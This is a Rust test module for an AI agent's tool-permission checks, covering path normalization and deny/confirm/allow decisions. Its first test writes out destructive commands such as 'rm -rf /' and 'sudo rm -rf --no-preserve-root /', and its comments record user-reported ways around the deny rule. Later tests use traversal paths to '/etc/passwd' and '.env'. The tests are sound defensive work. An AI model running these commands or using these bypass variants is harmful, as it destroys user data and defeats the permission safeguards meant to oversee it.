1910    #[test]
1911    fn hardcoded_blocks_user_reported_bypass_variants() {
1912        // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1913        t("rm -rf /etc/../").is_deny();
1914        t("rm -rf /etc/..").is_deny();
1915        // User report: --no-preserve-root (without =value) should not bypass
1916        t("rm -rf --no-preserve-root /").is_deny();
1917        t("rm --no-preserve-root -rf /").is_deny();
1918        // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1919        t("rm -rf /*").is_deny();
1920        // Chained with sudo
1921        t("sudo rm -rf /").is_deny();
1922        t("sudo rm -rf --no-preserve-root /").is_deny();
1923        // Traversal cannot be bypassed even with global allow or allow patterns
1924        t("rm -rf /etc/../")
1925            .global_default(ToolPermissionMode::Allow)
1926            .is_deny();
1927        t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1928        t("rm -rf --no-preserve-root /")
1929            .global_default(ToolPermissionMode::Allow)
1930            .is_deny();
1931        t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1932    }
1933
1934    #[test]
1935    fn normalize_path_relative_no_change() {
1936        assert_eq!(normalize_path("foo/bar"), "foo/bar");
1937    }
1938
1939    #[test]
1940    fn normalize_path_relative_with_curdir() {
1941        assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1942    }
1943
1944    #[test]
1945    fn normalize_path_relative_with_parent() {
1946        assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1947    }
1948
1949    #[test]
1950    fn normalize_path_absolute_preserved() {
1951        assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1952    }
1953
1954    #[test]
1955    fn normalize_path_absolute_with_traversal() {
1956        assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1957    }
1958
1959    #[test]
1960    fn normalize_path_root() {
1961        assert_eq!(normalize_path("/"), "/");
1962    }
1963
1964    #[test]
1965    fn normalize_path_parent_beyond_root_clamped() {
1966        assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1967    }
1968
1969    #[test]
1970    fn normalize_path_curdir_only() {
1971        assert_eq!(normalize_path("."), "");
1972    }
1973
1974    #[test]
1975    fn normalize_path_empty() {
1976        assert_eq!(normalize_path(""), "");
1977    }
1978
1979    #[test]
1980    fn normalize_path_relative_traversal_above_start() {
1981        assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1982    }
1983
1984    #[test]
1985    fn normalize_path_relative_traversal_with_curdir() {
1986        assert_eq!(normalize_path("../../."), "../..");
1987    }
1988
1989    #[test]
1990    fn normalize_path_relative_partial_traversal_above_start() {
1991        assert_eq!(normalize_path("foo/../../bar"), "../bar");
1992    }
1993
1994    #[test]
1995    fn most_restrictive_deny_vs_allow() {
1996        assert!(matches!(
1997            most_restrictive(
1998                ToolPermissionDecision::Deny("x".into()),
1999                ToolPermissionDecision::Allow
2000            ),
2001            ToolPermissionDecision::Deny(_)
2002        ));
2003    }
2004
2005    #[test]
2006    fn most_restrictive_allow_vs_deny() {
2007        assert!(matches!(
2008            most_restrictive(
2009                ToolPermissionDecision::Allow,
2010                ToolPermissionDecision::Deny("x".into())
2011            ),
2012            ToolPermissionDecision::Deny(_)
2013        ));
2014    }
2015
2016    #[test]
2017    fn most_restrictive_deny_vs_confirm() {
2018        assert!(matches!(
2019            most_restrictive(
2020                ToolPermissionDecision::Deny("x".into()),
2021                ToolPermissionDecision::Confirm
2022            ),
2023            ToolPermissionDecision::Deny(_)
2024        ));
2025    }
2026
2027    #[test]
2028    fn most_restrictive_confirm_vs_deny() {
2029        assert!(matches!(
2030            most_restrictive(
2031                ToolPermissionDecision::Confirm,
2032                ToolPermissionDecision::Deny("x".into())
2033            ),
2034            ToolPermissionDecision::Deny(_)
2035        ));
2036    }
2037
2038    #[test]
2039    fn most_restrictive_deny_vs_deny() {
2040        assert!(matches!(
2041            most_restrictive(
2042                ToolPermissionDecision::Deny("a".into()),
2043                ToolPermissionDecision::Deny("b".into())
2044            ),
2045            ToolPermissionDecision::Deny(_)
2046        ));
2047    }
2048
2049    #[test]
2050    fn most_restrictive_confirm_vs_allow() {
2051        assert_eq!(
2052            most_restrictive(
2053                ToolPermissionDecision::Confirm,
2054                ToolPermissionDecision::Allow
2055            ),
2056            ToolPermissionDecision::Confirm
2057        );
2058    }
2059
2060    #[test]
2061    fn most_restrictive_allow_vs_confirm() {
2062        assert_eq!(
2063            most_restrictive(
2064                ToolPermissionDecision::Allow,
2065                ToolPermissionDecision::Confirm
2066            ),
2067            ToolPermissionDecision::Confirm
2068        );
2069    }
2070
2071    #[test]
2072    fn most_restrictive_allow_vs_allow() {
2073        assert_eq!(
2074            most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2075            ToolPermissionDecision::Allow
2076        );
2077    }
2078
2079    #[test]
2080    fn decide_permission_for_path_no_dots_early_return() {
2081        // When the path has no `.` or `..`, normalize_path returns the same string,
2082        // so decide_permission_for_path returns the raw decision directly.
2083        let settings = test_agent_settings(ToolPermissions {
2084            default: ToolPermissionMode::Confirm,
2085            tools: Default::default(),
2086        });
2087        let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2088        assert_eq!(decision, ToolPermissionDecision::Confirm);
2089    }
2090
2091    #[test]
2092    fn decide_permission_for_path_traversal_triggers_deny() {
2093        let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2094        let mut tools = collections::HashMap::default();
2095        tools.insert(
2096            Arc::from(EditFileTool::NAME),
2097            ToolRules {
2098                default: Some(ToolPermissionMode::Allow),
2099                always_allow: vec![],
2100                always_deny: vec![deny_regex],
2101                always_confirm: vec![],
2102                invalid_patterns: vec![],
2103            },
2104        );
2105        let settings = test_agent_settings(ToolPermissions {
2106            default: ToolPermissionMode::Confirm,
2107            tools,
2108        });
2109
2110        let decision =
2111            decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2112        assert!(
2113            matches!(decision, ToolPermissionDecision::Deny(_)),
2114            "expected Deny for traversal to /etc/passwd, got {:?}",
2115            decision
2116        );
2117    }
2118
2119    #[test]
2120    fn normalize_path_collapses_dot_segments() {
2121        assert_eq!(
2122            normalize_path("src/../.zed/settings.json"),
2123            ".zed/settings.json"
2124        );
2125        assert_eq!(normalize_path("a/b/../c"), "a/c");
2126        assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2127        assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2128        assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2129        assert_eq!(normalize_path("a/b/c"), "a/b/c");
2130    }
2131
2132    #[test]
2133    fn normalize_path_handles_multiple_parent_dirs() {
2134        assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2135        assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2136    }
2137
2138    fn path_perm(
2139        tool: &str,
2140        input: &str,
2141        deny: &[&str],
2142        allow: &[&str],
2143        confirm: &[&str],
2144    ) -> ToolPermissionDecision {
2145        let mut tools = collections::HashMap::default();
2146        tools.insert(
2147            Arc::from(tool),
2148            ToolRules {
2149                default: None,
2150                always_allow: allow
2151                    .iter()
2152                    .map(|p| {
2153                        CompiledRegex::new(p, false)
2154                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2155                    })
2156                    .collect(),
2157                always_deny: deny
2158                    .iter()
2159                    .map(|p| {
2160                        CompiledRegex::new(p, false)
2161                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2162                    })
2163                    .collect(),
2164                always_confirm: confirm
2165                    .iter()
2166                    .map(|p| {
2167                        CompiledRegex::new(p, false)
2168                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2169                    })
2170                    .collect(),
2171                invalid_patterns: vec![],
2172            },
2173        );
2174        let permissions = ToolPermissions {
2175            default: ToolPermissionMode::Confirm,
2176            tools,
2177        };
2178        let raw_decision = ToolPermissionDecision::from_input(
2179            tool,
2180            &[input.to_string()],
2181            &permissions,
2182            ShellKind::Posix,
2183        );
2184
2185        let simplified = normalize_path(input);
2186        if simplified == input {
2187            return raw_decision;
2188        }
2189
2190        let simplified_decision =
2191            ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2192
2193        most_restrictive(raw_decision, simplified_decision)
2194    }
2195
2196    #[test]
2197    fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2198        let decision = path_perm(
2199            "copy_path",
2200            "src/../.zed/settings.json",
2201            &["^\\.zed/"],
2202            &[],
2203            &[],
2204        );
2205        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2206    }
2207
2208    #[test]
2209    fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2210        let decision = path_perm(
2211            "copy_path",
2212            "src/../.zed/settings.json",
2213            &[],
2214            &[],
2215            &["^\\.zed/"],
2216        );
2217        assert!(matches!(decision, ToolPermissionDecision::Confirm));
2218    }
2219
2220    #[test]
2221    fn decide_permission_for_path_allows_when_no_traversal_issue() {
2222        let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2223        assert!(matches!(decision, ToolPermissionDecision::Allow));
2224    }
2225
2226    #[test]
2227    fn decide_permission_for_path_most_restrictive_wins() {
2228        let decision = path_perm(
2229            "copy_path",
2230            "allowed/../.zed/settings.json",
2231            &["^\\.zed/"],
2232            &["^allowed/"],
2233            &[],
2234        );
2235        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2236    }
2237
2238    #[test]
2239    fn decide_permission_for_path_dot_segment_only() {
2240        let decision = path_perm(
2241            "delete_path",
2242            "./.zed/settings.json",
2243            &["^\\.zed/"],
2244            &[],
2245            &[],
2246        );
2247        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2248    }
2249
2250    #[test]
2251    fn decide_permission_for_path_no_change_when_already_simple() {
2252        // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2253        let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2254        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2255    }
2256
2257    #[test]
2258    fn decide_permission_for_path_raw_deny_still_works() {
2259        // Even without traversal, if the raw path itself matches deny, it's denied
2260        let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2261        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2262    }
2263
2264    #[test]
2265    fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2266        let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2267        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2268    }
2269}